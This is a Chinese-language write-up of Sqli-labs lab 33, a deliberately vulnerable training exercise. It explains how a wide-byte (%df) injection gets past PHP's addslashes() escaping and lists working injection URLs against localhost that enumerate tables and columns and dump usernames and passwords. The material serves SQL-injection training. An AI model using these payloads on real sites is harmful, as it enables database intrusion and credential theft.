zoukankan      html  css  js  c++  java
  • SQL注入之Sqli-labs系列第三十三关(基于宽字符逃逸注入)

    开始挑战第三十三关(Bypass addslashes)

    0x1查看源码

      本关和第三十二关其实是一样的,只是这里用到了addslashes()函数

    function check_addslashes($string)
    {
        $string= addslashes($string);    
        return $string;
    }
    addslashes

    0x2 addslashes讲解

    (1)功能

        函数返回在预定义字符之前添加反斜杠的字符串

    (2)预定义字符

          单引号(')
          双引号(")
          反斜杠()
          NULL
      

      该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串

      默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

    0x3开始注入

      

     其他构造方式同样

    http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 oder by 3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,2,3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,database(),3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
    http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,(select group_concat(username,password) from users),3--+

     

  • 相关阅读:
    [GeeksForGeeks] Maximum Length Chain of Pairs
    [Coding Made Simple] Buy/Sell stock with at most K transactions to maximize profit
    [LeetCode 10] Regular Expression Matching
    056_统计/etc/passwd 中 root 出现的次数
    055_使用脚本循环创建三位数字的文本文件(111-999 的所有文件)
    054_自动修改计划任务配置文件
    053_修改 Linux 系统的最大打开文件数量
    052_获取本机 MAC 地址
    051_循环关闭局域网中所有主机
    050_显示进度条(回旋镖版)
  • 原文地址:https://www.cnblogs.com/AmoBlogs/p/8723269.html
Copyright © 2011-2022 走看看